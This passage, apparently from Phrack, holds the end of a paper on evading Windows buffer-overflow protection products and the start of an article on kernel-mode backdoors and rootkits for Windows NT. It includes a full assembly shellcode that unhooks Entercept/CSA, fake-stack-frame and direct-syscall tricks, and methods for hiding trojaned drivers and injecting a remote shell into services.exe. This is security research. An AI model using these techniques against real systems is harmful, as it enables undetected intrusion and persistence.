Bypassing kernel BOPT components is easy because they must rely on user controlled data (the stack) to determine the validity of an API call. By correctly manipulating the stack, it is possible to prematurely terminate the stack return address analysis.

This stack backtracing evasion technique is also effective against userland hooks (see section 4.6).

--[4 - Evading Userland Hooks

Given the presence of the correct instruction sequence in a valid region of memory, it is possible to trivially bypass kernel buffer overflow protection techniques. Similar techniques can be used to bypass userland BOPT components. In addition, since the shellcode executes with the same permissions as the userland hooks, a number of other techniques can be used to evade the detection.

----[4.1 - Implementation Problems - Incomplete API Hooking

There are many problems with the userland based buffer overflow protection technologies. For example, they require the buffer overflow protection

code to be in the code path of all attacker's calls or the shellcode execution will go undetected.

Trying to determine what an attacker will do with his or her shellcode a priori is an extremely hard problem, if not an impossible one. Getting on the right path is not easy. Some of the obstacles in the way include:

- a. Not accounting for both UNICODE and ANSI versions of a Win32 API call.
- b. Not following the chaining nature of API calls. For example, many functions in kernel32.dll are nothing more than wrappers for other functions within kernel32.dll or ntdll.dll.
- c. The constantly changing nature of the Microsoft Windows API.

-----[4.1.1 - Not Hooking All API Versions

A commonly encountered mistake with userland API hooking implementations is incomplete code path coverage. In order for an API interception based products to be effective, all APIs utilized by attackers must be hooked. This requires the buffer overflow protection technology to hook somewhere along the code path an attacker has to take. However, as will be shown, once an attacker has begun executing code, it becomes very difficult for third party systems to cover all code paths. Indeed, no tested commercial buffer overflow detector actually provided an effective code path coverage.

Many Windows API functions have two versions: ANSI and UNICODE. The ANSI function names usually end in A, and UNICODE functions end in W because of their wide character nature. The ANSI functions are often nothing more than wrappers that call the UNICODE version of the API. For example, CreateFileA takes the ANSI file name that was passed as a parameter and turns it into an UNICODE string. It then calls CreateFileW. Unless a vendor hooks both the UNICODE and ANSI version of the API function, an attacker can bypass the protection mechanism by simply calling the other version of the function.

For example, Entercept 4.1 hooks LoadLibraryA, but it makes no attempt to intercept LoadLibraryW. If a protection mechanism was only going to hook one version of a function, it would make more sense to hook the UNICODE version. For this particular function, Okena/CSA does a better job by hooking LoadLibraryA, LoadLibraryW, LoadLibraryExA, and LoadLibraryExW. Unfortunately for the third party buffer overflow detectors, simply hooking more functions in kernel32.dll is not enough.

-----[4.1.2 - Not Hooking Deeply Enough

In Windows NT, kernel32.dll acts as a wrapper for ntdll.dll and yet many buffer overflow detection products do not hook functions within ntdll.dll. This simple error is similar to not hooking both the UNICODE and ANSI versions of a function. An attacker can simply call the ntdll.dll directly and completely bypass all the kernel32.dll "checkpoints" established by a buffer overflow detector.

For example, NAI Entercept tries to detect shellcode calling GetProcAddress() in kernel32.dll. However, the shellcode can be rewritten to call LdrGetProcedureAddress() in ntdll.dll, which will accomplish the same goal, and at the same time never pass through the NAI Entercept hook.

Similarly, shellcode can completely bypass userland hooks altogether and

make system calls directly (see section 4.5).

-----[4.1.3 - Not Hooking Thoroughly Enough

The interactions between the various different Win32 API functions is byzantine, complex and difficult to understand. A vendor must make only one mistake in order to create a window of opportunity for an attacker.

For example, Okena/CSA and NAI Entercept both hook WinExec trying to prevent attacker's shellcode from spawning a process.

The call path for WinExec looks like this:

```
WinExec() --> CreateProcessA() --> CreateProcessInternalA()
```

Okena/CSA and NAI Entercept hook both WinExec() and CreateProcessA() (see Appendix A and B). However, neither product hooks CreateProcessInternalA() (exported by kernel32.dll). When writing a shellcode, an attacker could find the export for CreateProcessInternalA() and use it instead of calling WinExec().

CreateProcessA() pushes two NULLs onto the stack before calling CreateProcessInternalA(). Thus a shellcode only needs to push two NULLs and then call CreateProcessInternalA() directly to evade the userland API hooks of both products.

As new DLLs and APIs are released, the complexity of Win32 API internal interactions increases, making the problem worse. Third party product vendors are at a severe disadvantage when implementing their buffer overflow detection technologies and are bound to make mistakes which can be exploited by attackers.

----[4.2 - Fun With Trampolines

Most Win32 API functions begin with a five byte preamble. First, EBP is pushed onto the stack, then ESP is moved into EBP.

```
[-----]
```

Code	Bytes	Assembly
	55	push ebp
	8bec	mov ebp, esp

```
[-----]
```

Both Okena/CSA and Entercept use inline function hooking. They overwrite the first 5 bytes of a function with an immediate unconditional jump or call. For example, this is what the first few bytes of WinExec() look like after NAI Entercept's hooks have been installed:

```
[-----]
```

Code	Bytes	Assembly
	e8 xx xx xx xx	call xxxxxxxx
	54	push esp
	53	push ebx
	56	push esi
	57	push edi

```
[-----]
```

Alternatively, the first few bytes could be overwritten with a jump instruction:

```
[-----]

      Code Bytes      Assembly
      e9 xx xx xx xx  jmp xxxxxxxx
      ...

[-----]
```

Obviously, it is easy for shellcode to test for these and other signatures before calling a function. If a hijacking mechanism is detected, the shellcode can use several different techniques to bypass the hook.

-----[4.2.1 - Patch Table Jumping

When an API is hooked, the original preamble is saved into a table so that the buffer overflow detector can recreate the original API after performing its validation checks. The preamble is stored in a patch table, which resides somewhere in the address space of an application. When shellcode detects the presence of an API hook, it can simply search for the patch table and make its calls to patch table entries. This completely avoids the hook, preventing the userland buffer overflow detector components from ever being in the attacker's call path.

-----[4.2.2 - Hook Hopping

Alternatively, instead of locating the patch table, shellcode can include its own copy of the original pre-hook preamble. After executing its own API preamble, the shellcode can transfer execution to immediately after the API hook (function address plus five bytes).

Since Intel x86 has variable length instructions, one must take this into account in order to land on an even instruction boundary:

```
[-----]

      Shellcode:
          call WinExecPreamble

      WinExecPreamble:
          push ebp
          mov ebp, esp
          sub esp, 54
          jmp WinExec+6

[-----]
```

This technique will not work if another function within the call path is also hooked. In this case, Entercept also hooks CreateProcessA(), which WinExec() calls. Thus, to evade detection shellcode should call CreateProcessA() using the stored copy of CreateProcessA's preamble.

----[4.3 - Repatching Win32 APIs

Thoroughly hooking Win32 APIs is not effective when certain fundamental errors are made in the implementation of a userland buffer overflow detection component.

Certain implementations (NAI Entercept) have a serious problem with the way they perform their API hooking. In order to be able to overwrite preambles of hooked functions, the code section for a DLL has to be made writable. Entercept marks code sections of kernel32.dll and ntdll.dll as writable in order to be able to modify their contents. However, Entercept never resets the writable bit!

Due to this serious security flaw, it is possible for an attacker to overwrite the API hook by re-injecting the original preamble code. For the WinExec() and CreateProcessA() examples, this would require overwriting the first 6 bytes (just to be instruction aligned) of WinExec() and CreateProcessA() with the original preamble.

```
[-----]
      WinExecOverWrite:
          Code Bytes      Assembly
              55          push ebp
              8bec        mov ebp, esp
              83ec54      sub esp, 54

      CreateProcessAOverWrite:
          Code Bytes      Assembly
              55          push ebp
              8bec        mov ebp, esp
              ff752c      push DWORD PTR [ebp+2c]
[-----]
```

This technique will not work against properly implemented buffer overflow detectors, however it is very effective against NAI Entercept. A complete shellcode example which overwrites the NAI Entercept hooks is presented below:

```
[-----]

// This sample code overwrites the preamble of WinExec and
// CreateProcessA to avoid detection. The code then
// calls WinExec with a "calc.exe" parameter.
// The code demonstrates that by overwriting function
// preambles, it is able to evade Entercept and Okena/CSA
// buffer overflow protection.

    _asm {
        pusha

START:
        jmp JUMPSTART

        pop ebp
        xor eax, eax
        mov al, 0x30
        mov eax, fs:[eax];
        mov eax, [eax+0xc];

        // We now have the module_item for ntdll.dll
        mov eax, [eax+0x1c]

        // We now have the module_item for kernel32.dll
        mov eax, [eax]

        // Image base of kernel32.dll
        mov eax, [eax+0x8]

        movzx ebx, word ptr [eax+3ch]
```

```

        // pe.oheader.directorydata[EXPORT=0]
        mov esi, [eax+ebx+78h]
        lea esi, [eax+esi+18h]

        // EBX now has the base module address
        mov ebx, eax
        lodsd

        // ECX now has the number of function names
        mov ecx, eax
        lodsd
        add eax, ebx

        // EDX has addresses of functions
        mov edx, eax

        lodsd

        // EAX has address of names
        add    eax, ebx

        // Save off the number of named functions
        // for later
        push ecx

        // Save off the address of the functions
        push edx

RESETEXPORTNAMETABLE:
        xor edx, edx

INITSTRINGTABLE:
        mov esi, ebp // Beginning of string table
        inc esi

MOVETHROUGHTABLE:
        mov edi, [eax+edx*4]
        add edi, ebx // EBX has the process base address

        xor ecx, ecx
        mov cl, BYTE PTR [ebp]
        test cl, cl
        jz DONESTRINGSEARCH

STRINGSEARCH:    // ESI points to the function string table
        repe cmpsb
        je Found

        // The number of named functions is on the stack
        cmp [esp+4], edx
        je NOTFOUND
        inc edx
        jmp INITSTRINGTABLE

Found:
        pop ecx
        shl edx, 2
        add edx, ecx
        mov edi, [edx]
        add edi, ebx
        push edi
        push ecx
        xor ecx, ecx

```

```

        mov cl, BYTE PTR [ebp]
        inc ecx
        add ebp, ecx
        jmp RESETEXPORTNAMETABLE

DONESTRINGSEARCH:
OverWriteCreateProcessA:
        pop edi
        pop edi
        push 0x06
        pop ecx
        inc esi
        rep movsb

OverWriteWinExec:
        pop edi
        push edi
        push 0x06
        pop ecx
        inc esi
        rep movsb

CallWinExec:
        push 0x03
        push esi
        call [esp+8]

NOTFOUND:
        pop edx

STRINGEXIT:
        pop ecx
        popa;
        jmp EXIT

JUMPSTART:
        add esp, 0x1000
        call START

WINEXEC:
        _emit 0x07
        _emit 'W'
        _emit 'i'
        _emit 'n'
        _emit 'E'
        _emit 'x'
        _emit 'e'
        _emit 'c'

CREATEPROCESSA:
        _emit 0x0e
        _emit 'C'
        _emit 'r'
        _emit 'e'
        _emit 'a'
        _emit 't'
        _emit 'e'
        _emit 'P'
        _emit 'r'
        _emit 'o'
        _emit 'c'
        _emit 'e'
        _emit 's'
        _emit 's'
        _emit 'A'

ENDOFTABLE:

```

```

        _emit 0x00

WinExecOverWrite:
        _emit 0x06
        _emit 0x55
        _emit 0x8b
        _emit 0xec
        _emit 0x83
        _emit 0xec
        _emit 0x54
CreateProcessAOverWrite:
        _emit 0x06
        _emit 0x55
        _emit 0x8b
        _emit 0xec
        _emit 0xff
        _emit 0x75
        _emit 0x2c

COMMAND:
        _emit 'c'
        _emit 'a'
        _emit 'l'
        _emit 'c'
        _emit '.'
        _emit 'e'
        _emit 'x'
        _emit 'e'
        _emit 0x00

EXIT:
        _emit 0x90

        // Normally call ExitThread or something here
        _emit 0x90
    }

[-----]

```

----[4.4 - Attacking Userland Components

While evading the hooks and techniques used by userland buffer overflow detector components is effective, there exist other mechanisms of bypassing the detection. Because both the shellcode and the buffer overflow detector are executing with the same privileges and in the same address space, it is possible for shellcode to directly attack the buffer overflow detector userland component.

Essentially, when attacking the buffer overflow detector userland component the attacker is attempting to subvert the mechanism used to perform the shellcode detection check. There are only two principle techniques for shellcode validation checking. Either the data used for the check is determined dynamically during each hooked API call, or the data is gathered at process start up and then checked during each call. In either case, it is possible for an attacker to subvert the process.

-----[4.4.1 - IAT Patching

Rather than implementing their own versions of memory page information functions, the commercial buffer overflow protection products simply use the operating system APIs. In Windows NT, these are implemented in ntdll.dll. These APIs will be imported into the userland component

(itself a DLL) via its PE Import Table. An attacker can patch vectors within the import table to alter the location of an API to a function supplied by the shellcode. By supplying the function used to do the validation checking by the buffer overflow detector, it is trivial for an attacker to evade detection.

-----[4.4.2 - Data Section Patching

For various reasons, a buffer overflow detector might use a pre-built list of page permissions within the address space. When this is the case, altering the address of the VirtualQuery() API is not effective. To subvert the buffer overflow detector, the shellcode has to locate and modify the data table used by the return address validation routines. This is a fairly straightforward, although application specific, technique for subverting buffer overflow prevention technologies.

----[4.5 - Calling Syscalls Directly

As mentioned above, rather than using ntdll.dll APIs to make system calls, it is possible for an attacker to create shellcode which makes system call directly. While this technique is very effective against userland components, it obviously cannot be used to bypass kernel based buffer overflow detectors.

To take advantage of this technique you must understand what parameters a kernel function uses. These may not always be the same as the parameters required by the kernel32 or ntdll API versions.

Also, you must know the system call number of the function in question. You can find this dynamically using a technique similar to the one to find function addresses. Once you have the address of the ntdll.dll version of the function you want to call, index into the function one byte and read the following DWORD. This is the system call number in the system call table for the function. This is a common trick used by rootkit developers.

Here is the pseudo code for calling NtReadFile system call directly:

```
...
xor eax, eax

// Optional Key
push eax
// Optional pointer to large integer with the file offset
push eax

push Length_of_Buffer
push Address_of_Buffer

// Before call make room for two DWORDs called the IoStatusBlock
push Address_of_IoStatusBlock

// Optional ApcContext
push eax
// Optional ApcRoutine
push eax
// Optional Event
push eax

// Required file handle
push hFile
```



```

// EAX must contain the system call number
mov eax, Found_Sys_Call_Num

// EDX needs the address of the userland stack
lea edx, [esp]

// Trap into the kernel
// (recent Windows NT versions use "sysenter" instead)
int 2e

```

----[4.6 - Faking Stack Frames

As described in section 3.2, kernel based stack backtracing can be bypassed using fake frames. Same techniques works against userland based detectors.

To bypass both userland and kernel backtracing, shellcode can create a fake stack frame without the ebp register on stack. Since stack backtracing relies on the presence of the ebp register to find the next stack frame, fake frames can stop backtracing code from tracing past the fake frame.

Of course, generating a fake stack frame is not going to work when the EIP register still points to shellcode which resides in a writable memory segment. To bypass the protection code, shellcode needs to use an address that lies in a non-writable memory segment. This presents a problem since shellcode needs a way to eventually regain control of the execution.

The trick to regaining control is to proxy the return to shellcode through a "ret" instruction which resides in a non-writable memory segment. "ret" instruction can be found dynamically by searching memory for a 0xC3 opcode.

Here is an illustration of a normal LoadLibrary("kernel32.dll") call that originates from a writable memory segment:

```

push    kernel32_string
call    LoadLibrary

return_eip:

.
.
.

LoadLibrary:    ; * see below for a stack illustration

.
.
.
ret            ; return to stack-based return_eip

```

```

|-----|
| address of "kernel32.dll" str |
|-----|
| return address (return_eip)  |
|-----|

```

As explained before, the buffer overflow protection code executes before LoadLibrary gets to run. Since the return address (return_eip) is in a writable memory segment, the protection code logs the overflow and terminates the process.

Next example illustrates 'proxy through a "ret" instruction' technique:

```
push    return_eip
push    kernel32_string

; fake "call LoadLibrary" call
push    address_of_ret_instruction
jmp     LoadLibrary

return_eip:

.
.
.

LoadLibrary:    ; * see below for a stack illustration

.
.
.
ret            ; return to non stack-based address_of_ret_instruction


address_of_ret_instruction:

.
.
.
ret            ; return to stack-based return_eip
```

Once again, the buffer overflow protection code executes before LoadLibrary gets to run. This time though, the stack is setup with a return address pointing to a non-writable memory segment. In addition, the ebp register is not present on stack thus the protection code cannot perform stack backtracing and determine that the return address in the next stack frame points to a writable segment. This allows the shellcode to call LoadLibrary which returns to the "ret" instruction. In its turn, the "ret" instruction pops the next return address off stack (return_eip) and transfers control to it.

```
|-----|
| return address (return_eip) |
|-----|
| address of "kernel32.dll" str |
|-----|
| address of "ret" instruction |
|-----|
```

In addition, any number of arbitrary complex fake stack frames can be setup to further confuse the protection code.

Here is an example of a fake frame that uses a "ret 8" instruction instead of simple "ret":

return address	

address of "ret" instruction	<- fake frame 2

any value	

address of "kernel32.dll" str	

address of "ret 8" instruction	<- fake frame 1

This causes an extra 32-bit value to be removed from stack, complicating any kind of analysis even further.

--[5 - Conclusions

The majority of commercial security systems do not actually prevent buffer overflows but rather detect the execution of shellcode. The most common technology used to detect shellcode is code page permission checking which relies on stack backtracing.

Stack backtracing involves traversing stack frames and verifying that the return addresses do not originate from writable memory segments such as stack or heap areas.

The paper presents a number of different ways to bypass both userland and kernel based stack backtracing. These range from tampering with function preambles to creating fake stack frames.

In conclusion, the majority of current buffer overflow protection implementations are flawed, providing a false sense of security and little real protection against determined attackers.

Appendix A: Entercept 4.1 Hooks

Entercept hooks a number of functions in userland and in the kernel. Here is a list of the currently hooked functions as of Entercept 4.1.

User Land

```
msvcrt.dll
  _creat
  _read
  _write
  system
kernel32.dll
  CreatePipe
  CreateProcessA
  GetProcAddress
  GetStartupInfoA
```

- LoadLibraryA
- PeekNamedPipe
- ReadFile
- VirtualProtect
- VirtualProtectEx
- WinExec
- WriteFile
- advapi32.dll
 - RegOpenKeyA
- rpcrt4.dll
 - NdrServerInitializeMarshall
- user32.dll
 - ExitWindowsEx
- ws2_32.dll
 - WPUCompleteOverlappedRequest
 - WSAAddressToStringA
 - WSACancelAsyncRequest
 - WSACloseEvent
 - WSAConnect
 - WSACreateEvent
 - WSADuplicateSocketA
 - WSAEnumNetworkEvents
 - WSAEventSelect
 - WSAGetServiceClassInfoA
 - WSCInstallNameSpace
- wininet.dll
 - InternetSecurityProtocolToStringW
 - InternetSetCookieA
 - InternetSetOptionExA
- lsasrv.dll
 - LsarLookupNames
 - LsarLookupSids2
- msv1_0.dll
 - Msv1_0ExportSubAuthenticationRoutine
 - Msv1_0SubAuthenticationPresent

Kernel

- NtConnectPort
- NtCreateProcess
- NtCreateThread
- NtCreateToken
- NtCreateKey
- NtDeleteKey
- NtDeleteValueKey
- NtEnumerateKey
- NtEnumerateValueKey
- NtLoadKey
- NtLoadKey2
- NtQueryKey
- NtQueryMultipleValueKey
- NtQueryValueKey
- NtReplaceKey
- NtRestoreKey
- NtSetValueKey
- NtMakeTemporaryObject
- NtSetContextThread
- NtSetInformationProcess
- NtSetSecurityObject
- NtTerminateProcess

Okena/CSA hooks many functions in userland but many less in the kernel. A lot of the userland hooks are the same ones that Entercept hooks. However, almost all of the functions Okena/CSA hooks in the kernel are related to altering keys in the Windows registry. Okena/CSA does not seem as concerned as Entercept about backtracing calls in the kernel. This leads to an interesting vulnerability, left as an exercise to the reader.

User Land

```
kernel32.dll
    CreateProcessA
    CreateProcessW
    CreateRemoteThread
    CreateThread
    FreeLibrary
    LoadLibraryA
    LoadLibraryExA
    LoadLibraryExW
    LoadLibraryW
    LoadModule
    OpenProcess
    VirtualProtect
    VirtualProtectEx
    WinExec
    WriteProcessMemory
ole32.dll
    CoFileTimeToDosDateTime
    CoGetMalloc
    CoGetStandardMarshal
    CoGetState
    CoResumeClassObjects
    CreateObjrefMoniker
    CreateStreamOnHGlobal
    DllGetClassObject
    StgSetTimes
    StringFromCLSID
oleaut32.dll
    LPSAFEARRAY_UserUnmarshal
urlmon.dll
    CoInstall
```

Kernel

```
NtCreateKey
NtOpenKey
NtDeleteKey
NtDeleteValueKey
NtSetValueKey
NtOpenProcess
NtWriteVirtualMemory
```

|=[EOF]=====|

==Phrack Inc.==

Volume 0x0b, Issue 0x3e, Phile #0x06 of 0x10

|===== [Kernel-mode backdoors for Windows NT]=====|
|=====|

```
|===== [ firew0rker <firew0rker@nteam.ru> ]=====|
|===== [ the nobodies <http://www.nteam.ru> ]=====|
```

--[Table of contents

- 1 - PREFACE
- 2 - OVERVIEW OF EXISTING KERNEL-MODE BACKDOORS FOR WINDOWS NT
 - 2.1 - NTROOTKIT
 - 2.2 - HE4HOOK
 - 2.3 - SLANRET (IERK, BACKDOOR-ALI)
- 3 - OBSCURITY ON DISK, IN REGISTRY AND IN MEMORY
- 4 - MY VARIANT: THORNY PATH
 - 4.1 - SHELL
 - 4.2 - ACTIVATION AND COMMUNICATION WITH REMOTE CLIENT
 - 4.3 - OBSCURITY ON DISK
- 5 - CONCLUSION
- 6 - EPILOGUE
- 7 - LIST OF USED SOURCES
- 8 - FILES

--[1 - Preface

This article is intended for those who know the architecture of the Windows NT kernel and the principles of operation of NT drivers. This article examines issues involved in the development of kernel-mode tools for stealthy remote administration of Windows NT.

Recently there has been a tendency of extending the use of Windows NT (2000, XP, 2003) from it's classical stronghold as home and office OS to servers. At the same time, the outdated Windows 9x family is replaced by the NT family. Because of this it should be evident that remote administration tools (backdoors) and unnoticeable access tools (rootkits) for the NT family have a certain value. Most of the published utilities work in user-mode and can thus be detected by Antivirus tools or by manual inspection.

It's quite another matter those works in kernel-mode: They can hide from any user-mode program. Antivirus software will have to supply kernel-mode components in order to detect a kernel-mode-backdoor. Software exists that protects against such backdoors (such as IPD, "Integrity Protection Driver"), but it's use is not widely spread. Kernel mode backdoors are not as widely used as they could be due to their relative complexity in comparison with user-mode backdoors.

--[2 - Overview of existing Kernel-Mode backdoors for Windows NT

This section briefly reviews existing kernel-mode backdoors for Windows NT.

----[2.1 - Ntrootkit

Ntrootkit (c) by Greg Hoglund and a team of free developers [1] is a device driver for Windows NT 4.0 and 2000. It's possibilities (implemented and potential):

- Receiving commands from a remote client. The rk_packet module contains a simplified IP-stack, which uses free IP-address from the subnet where the host on which Ntrootkit has been installed is situated.

It's MAC and IP addresses are hardcoded in the source. Connection with the rootkit at that IP is carried out via a TCP connection to any port. The available commands in `rk_command.c` are:

```
ps - list processes
help - self explanatory
buffertest, echo and debugint - for debugging purpose
hidedir - hide directory/file
hideproc - hide process(es)
sniffkeys - keyboard spy
```

There are also incomplete pieces of code: Execute commands received via a covert channel and starting a Win32-process from a driver (a hard and complicated task).

- Encrypt all traffic using Schneier's Blowfish algorithm: `rk_blowfish.c` is present, but not (yet ?) used
- Self-defense (`rk_defense.c`) - hide protected objects (in this case: registry keys), identified by the string `"_root_"`; redirect launched processes.

The hiding of processes, directories and files as implemented in `rk_ioman.c` is done through hooking the following functions:

```
NtCreateFile
ZwOpenFile
ZwQueryDirectoryFile
ZwOpenKey
ZwQueryKey
ZwQueryValueKey
ZwEnumerateValueKey
ZwEnumerateKey
ZwSetValueKey
ZwCreateKey
```

The way to detect this rootkit:

Make direct request to filesystem driver, send IRP to it. There is one more module that hooks file handling: `rk_files.c`, adopted from `filemon`, but it is not used.

- Starting processes: An unfinished implementation of it can be found in `rk_command.c`, another one (which is almost complete and good) is in `rk_exec.c`

The implementation suffers from the fact that `Zw*` functions which are normally unavailable to drivers directly are called through the system call interface (int 0x2E), leading to problems with different versions of the NT family as system call numbers change.

It seems like the work on `Ntrootkit` is very loosely coordinated: every developer does what (s)he considers needed or urgent. `Ntrootkit` does not achieve complete (or sufficient) invisibility. It creates device named `"Ntroot"`, visible from User-Mode.

When using `Ntrootkit` for anything practical, one will need some means of interaction with the rootkitted system. Shortly: There will be the need for some sort of shell. `Ntrootkit` itself can not give out a shell directly, although it can start a process -- the downside is that the I/O of that process can not be redirected. One is thus forced to start something like `netcat`. It's process can be hidden, but it's TCP-connection will be visible. The missing redirection of I/O is a big drawback.

However, Ntrootkit development is still in progress, and it will probably become a fully-functional tool for complete and stealthy remote administration.

----[2.2 - He4Hook

This description is based on [2]. The filesystem access was hooked via two different methods in the versions up to and including 2.15b6. Only one of it works at one time, and in versions after 2.15b6 the first method was removed.

Method A: hook kernel syscalls:
=====

ZwCreateFile, ZwOpenFile - driver version 1.12 and from 1.17 to 2.15beta6
IoCreateFile - from 1.13 to 2.15beta6
ZwQueryDirectoryFile, ZwClose - before 2.15beta6

Almost all these exported functions (Zw*) have the following function body:

```
mov eax, NumberFunction
lea edx, [esp+04h]
int 2eh                               ; Syscall interface
```

The "NumberFunction" is the number of the called function in the syscalls table (which itself can be accessed via the global variable KeServiceDescriptorTable). This variable points to following structure:

```
typedef struct SystemServiceDescriptorTable
{
    SSD SystemServiceDescriptors[4];
} SSDT, *LPSSDT;
```

Other structures:

```
typedef VOID *SSTAT[];
typedef unsigned char SSTPT[];
typedef SSTAT *LPSSTAT;
typedef SSTPT *LPSSTPT;

typedef struct SystemServiceDescriptor
{
    LPSSTAT lpSystemServiceTableAddressTable;
    ULONG dwFirstServiceIndex;
    ULONG dwSystemServiceTableNumEntries;
    LPSSTPT lpSystemServiceTableParameterTable;
} SSD, *LPSSD;
```

The DescriptorTable pointed to by KeServiceDescriptorTable is only accessible from kernel mode. In User-Mode, there is something called KeServiceDescriptorTableShadow -- unfortunately it is not exported.

Base services are in

```
KeServiceDescriptorTable->SystemServiceDescriptors[0]
KeServiceDescriptorTableShadow->SystemServiceDescriptors[0]
```

KernelMode GUI services are in

```
KeServiceDescriptorTableShadow->SystemServiceDescriptors[1]
```

Other elements of that tables were free at moment when [2] was

written, in all versions up to WinNt4(SP3-6) and Win2k build 2195. Each element of the table is a SSID structure, which contains the following data:

lpSystemServiceTableAddressTable	- A pointer to an array of addresses of functions that will be called if a matching syscall is called
dwFirstServiceIndex	- Start index for the first function
dwSystemServiceTableNumEntries	- Number of services in table
lpSystemServiceTableParameterTable	- An array of bytes specifying the number of bytes from the stack that will be passed through

In order to hook a system call, He4HookInv replaces the address stored in KeServiceDescriptorTable->SystemServiceDescriptorTableIn with a pointer to it's own table.

One can interface with He4HookInv by adding your own services to the system call tables. He4HookInv updates both tables:

- KeServiceDescriptorTable
- KeServiceDescriptorTableShadow.

Otherwise, if it updated only KeServiceDescriptorTable, new services would be unavailable from UserMode. To locate KeServiceDescriptorTableShadow the following technique is used:

The function KeAddSystemServiceTable can be used to add services to the kernel. It can add services to both tables. Taking into account that its 0-th descriptor is identical, it's possible, by scanning KeAddSystemServiceTable function's code, to find the address of the shadow table. You can see how it is done in file He4HookInv.c, function FindShadowTable(void).

If this method fails for some reason, a hardcoded address is taken (KeServiceDescriptorTable-0x230) as location of the shadow table. This address has not changed since WinNT Sp3. Another problem is the search for the correct index into the function address array. As almost all Zw* functions have an identical first instruction (mov eax, NumberFunction), one can get a pointer to the function number easily by adding one byte to the address exported by ntoskrnl.exe

Method B: (for driver versions 2.11 and higher)
=====

The callback tables located in the DRIVER_OBJECT of the file system drivers are patched: The IRP handlers of the needed drivers are replaced. This includes replacing the pointers to base function handlers (DRIVER_OBJECT->MajorFunction) as well as replacing pointers to the drivers unload procedure (DRIVER_OBJECT->DriverUnload).

The following functions are handled:

- IRP_MJ_CREATE
- IRP_MJ_CREATE_NAMED_PIPE
- IRP_MJ_CREATE_MAILSLLOT
- IRP_MJ_DIRECTORY_CONTROL -> IRP_MN_QUERY_DIRECTORY

For a more detailed description of the redirection of file operations

refer to the source [2].

----[2.3 - Slanret (IERK, Backdoor-ALI)

The source code for this is unavailable -- it was originally discovered by some administrator on his network. It is a normal driver ("ierk8243.sys") which periodically causes BSODs, and is visible as a service called "Virtual Memory Manager".

"Slanret is technically just one component of a root kit. It comes with a straightforward backdoor program: a 27 kilobyte server called "Krei" that listens on an open port and grants the hacker remote access to the system. The Slanret component is a seven kilobyte cloaking routine that burrows into the system as a device driver, then accepts commands from the server instructing it on what files or processes to conceal." [3]

----[3. Stealth on disk, in registry and in memory

The lower the I/O interception in a rootkit is performed, the harder it usually is to detect it's presence. One would think that a reliable place for interception would be the low-level disk operations (read/write sectors). This would require handling all filesystems that might be on the hard disk though: FAT16, FAT32, NTFS.

While FAT was relatively easy to deal with (and some old DOS stealth viruses used similar techniques) an implementation of something similar on WinNT is a task for maniacs.

A second place to hook would be hooking dispatch functions of file-system drivers: Patch DriverObject->MajorFunction and FastIoDispatch in memory or patch the drivers on disk. This has the advantage of being relatively universal and is the method used in HE4HookInv.

A third possibility is setting a filter on a filesystem driver (FSD). This has no advantages in comparison with the previous method, but has the drawback of being more visible (Filemon uses this approach). The functions Zw*, Io* can then be hooked either by manipulating the KeServiceDescriptorTable or directly patching the function body. It is usually quite easy to detect that pointers in KeServiceDescriptorTable point to strange locations or that the function body of a function has changed. A filter driver is also easy to detect by calling IoGetDeviceObjectPointer and then checking DEVICE_OBJECT->StackSize.

All normal drivers have their own keys in the registry, namely in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services.

The abovementioned rootkits can hide registry keys, but obviously, if the system is booted "cleanly", an administrator can see anything that was hidden. One can also load a rootkit using ZwSetSystemInformation(SystemLoadAndCallImage) without the need to create any registry keys. An example of this technique can be found in [6].

A rootkit loader in a separate file is too unstealthy. It might be a smarter move to patch that call into some executable file which is part of the system boot. One can use any driver or user-mode program that works with sufficient privileges, or any DLL linked to by it. One has to ask one question though: If the newly introduced changes need to be hidden anyway, why make two similar but differing procedures (for hiding changes to a file as well as hiding the existence of a file) instead of limiting ourselves to one ?

In most cases one can target null.sys. Implementing it's functionality is as easy as "hello world", and that is why it is usually replaced with a trojan. But if we are going to have a procedure for hiding changes to a file, we can replace ANY driver with a trojan that will substitute the content of the replaced file with the original content to everyone (including the kernel). Upon startup, it will copy itself to some allocated memory area and start a thread there.

This will make the trojan almost unnoticeable in memory: No system utility can see the driver any more, as it is just an anonymous memory page amongst many. We do not even need a thread, using intercepted IRP dispatch functions of some driver (DriverObject->MajorFunction[IRP_MJ_xxx]). We can also use IoQueueWorkItem and KeInsertQueueDpc, so no additional threads in SYSTEM will be visible in the task manager. After this is done the trojan can unload the driver it was started from, and reload it in a clean (unchanged) variant. As a result, high levels of stealth will be achieved by relatively simple means. The original content of the manipulated file could for example be stored in the trojan's file after the trojan itself.

It will then be sufficient to hook all FSD requests (IRP and FastIO) and upon access change the position (and size of the file).
(CurrentIrpStackLocation->Parameters.*.ByteOffset)

--[4 - My variant: The thorny path

----[4.1 - Shell

I originally intended to do something similarly simple as standard user-mode code: Just pass a socket handle for stdin/stdout/stderr to the newly created cmd.exe process. I did not find a way to open a useful socket from a driver though, as the interface with the AFD driver (kernel core of winsock) is undocumented. Reverse-engineering it's usage was not an option either as due to changes between versions my technique would be unreliable. I had to find a different way.

First variant
=====

We could start our code in the context of some process, using a shellcode quite similar to that used in exploits. The code could wait for a TCP connection and start cmd.exe with redirected I/O.

I chose this way when I tired of trying to start a full-fledged win32 process from a driver. The shellcode is position-independent, searches for kernel32.dll in memory and loads the winsock library. All that needs to be done is injecting the shellcode into the address space of a process and pass control to the entry point of the shellcode. However, in the process of doing this the normal work of the process must not be interrupted, because a failure in a critical system process will lead to a failure of the whole system.

So we need to allocate memory, write shellcode there, and create a thread with EIP = entry point of the shellcode. Code to do this can be found in the attached file shell.cpp. Unfortunately, when CreateProcess is called from the thread started in this way it failed, most probably because something that CreateProcess relies upon was not initialized properly in the context of our thread. We thus need to call CreateProcess from a thread context which has everything that CreateProcess needs initialized -- we're going to take a thread which belongs to the process we are intruding into (I used SetThreadContext for that). One needs to restore the state of the thread prior to the interruption so it can continue

it's normal operation.

So we need to: Save thread context via `GetThreadContext`, set the EIP to our context via `SetThreadContext`, wait for the code to complete, and then restore the original cont again. The rest is just a usual shellcode for Windows NT (full code in `dummy4.asm`).

One unsolved problem remains: If the thread is in waiting state, it will not run until it wakes up. Using `ZwAlertThread` does not yield any result if the thread is in a nonalertable wait state. Fortunately, the thread in `services.exe` worked without a problem -- this does not imply it will stay like this in the future though, so I continued my research:

Second variant

=====

